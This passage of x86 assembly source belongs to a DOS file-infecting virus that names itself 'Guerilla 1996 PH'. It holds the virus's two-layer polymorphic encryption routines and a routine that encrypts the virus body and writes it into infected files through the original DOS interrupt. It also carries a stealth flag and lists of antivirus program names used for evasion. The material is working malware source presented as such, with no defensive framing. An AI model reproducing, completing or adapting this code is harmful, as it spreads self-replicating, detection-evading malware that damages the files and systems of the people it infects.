		nop
		nop
src_fill_8:
                mov     ax,offset first_encr_start
		xchg	di,ax
                mov     di,offset first_encr_start
		nop
		nop
                mov     di,offset first_encr_start
		and	ax,2090h

end_poly_generation_tables:             ; end of table used by the poly

virus_string    db      ' Guerilla 1996 PH '

dollar_char     db      '$'

stealth_enabled db      01h

av_mem_names    db      'TB*','NAV','NEM'
av_names        db      'TB','VI','AV','NA','NE','VS','FI'
                db      'F-','IM','FV','SC','QB','IV'

end_second_encrypt:


; Second encryption/decryption loop
;

second_encr     proc    near
                db      0b0h                    ; mov al,
second_rand     db      00h                     ; random number
                jc      change_to_add           ; If carry change to ADD

                mov     byte ptr cs:[operation_byte+si],2Ah     ; SUB
                jmp     short encrypt_work
change_to_add:
                mov     byte ptr cs:[operation_byte+si],02h     ; ADD

encrypt_work:
                mov     di,offset start_second_encrypt
		add	di,si
                mov     cx,second_encrypt_lenght        ; Lenght
                jmp     short begin_oper_loop

                db      0EAh                    ; Just to fool someone

oper_loop:
                mov     ah,byte ptr cs:[di]

operation_byte  db      02h                     ; "ADD ah" or "SUB ah"
                db      0e0h                    ; with al

                mov     byte ptr cs:[di],ah
		inc	di
begin_oper_loop:
                loop    oper_loop
                retn
second_encr     endp


; enc_dec_copy will encrypt the body of the virus in memory (with both
; layers), then will write the encrypted body to the file (with also
; some foo bytes) and finally will decrypt the body of the virus in memory
;

enc_dec_copy    proc    near
                push    ax                      ; AH = 40h
                push    cx                      ; CX = Bytes to write
		xor	si,si			; Zero register
		stc				; Set carry flag
                call    second_encr             ; Second encryption
		stc				; Set carry flag
                call    first_layer_enc         ; First encryption
first_encr_end:
                pop     cx                      ; Bytes to write
                pop     ax                      ; AH = 40h
                call    do_orig_int21h          ; Write the body of the virus
fill_poly_1:
                nop
		nop
		nop
		nop
                call    first_layer_enc         ; Decrypt our body
fill_poly_2:
                nop
		nop
		nop
		nop
                call    second_encr             ; Second decryption
		retn
enc_dec_copy    endp


; First (heh, the one that is first seen by the user ;) ) encryption loop
;

first_layer_enc proc    near

                db      0b1h                    ; mov cl,
first_rand      db      00h                     ; random value
fill_poly_10:
                nop
		nop
		nop
		nop

                db      0b1h                    ; mov cl,
first_rand_beta db      00h                     ; random value

; One of the two "mov cl," will be used for encryption the other for
; decryption (depending on what will be generated in fill_poly_10.
; Infact when encrypting we call this with Carry set, but then depends
; if we generated a JNC or a JC with the engine). Of course this means
; that first_rand_beta = 10h - first_rand
;

fill_poly_8:
                mov     di,offset first_encr_start
                nop
fill_poly_9:
                add     di,si
                nop
		nop

                db      66h,0BAh              ; mov edx,(lenght to encr)
                dw      first_enc_lenght
                dw      00h

                jmp     short fill_poly_12

                db      0EAh                    ; just to fool someone

                db      2Eh, 8Ah                ; mov xx,cs:[di]
reg8ch1         db      25h                     ; AL or AH

                db      0D2h                    ; ROx ah,cl
rotate_oper     db      0CCh                    ; ROL or ROR

                db      2Eh, 88h                ; mov cs:[di],xx
reg8ch2         db      25h                     ; AL or AH

fill_poly_4:
                db      47h                     ; inc di
                nop
                nop
                nop

fill_poly_12:
                db      66h,4Ah                 ; dec edx
                nop
                nop

fill_poly_7:
                db      66h,83h,0FAh,00h        ; cmp edx,00h

fill_poly_11:
                db      75h,0EAh                ; JNE dec_loopy

                nop
                nop
                ret
first_layer_enc endp

; Generates a call to the original INT21h
;

do_orig_int21h  proc    near
		pushf				; Push flags
                    db      9Ah                 ; CALL far ptr
sec_int21_offset    dw      00h
sec_int21_segment   dw      00h
		retn
do_orig_int21h  endp

; where the encrypted EXE header will be stored
;

head_buffer       db      18h dup (0)

file_time         dw      0
file_date         dw      0

virus_end_file:

; Place for storing ES:DI where the SFT is located

sft_es           dw      00h
sft_di           dw      00h

lenght_dx        dw      0
lenght_ax        dw      0
inf_marker       dw      0
exe_header_space db      1ch dup (0)

virus_end:

guerilla        ends

		end	start
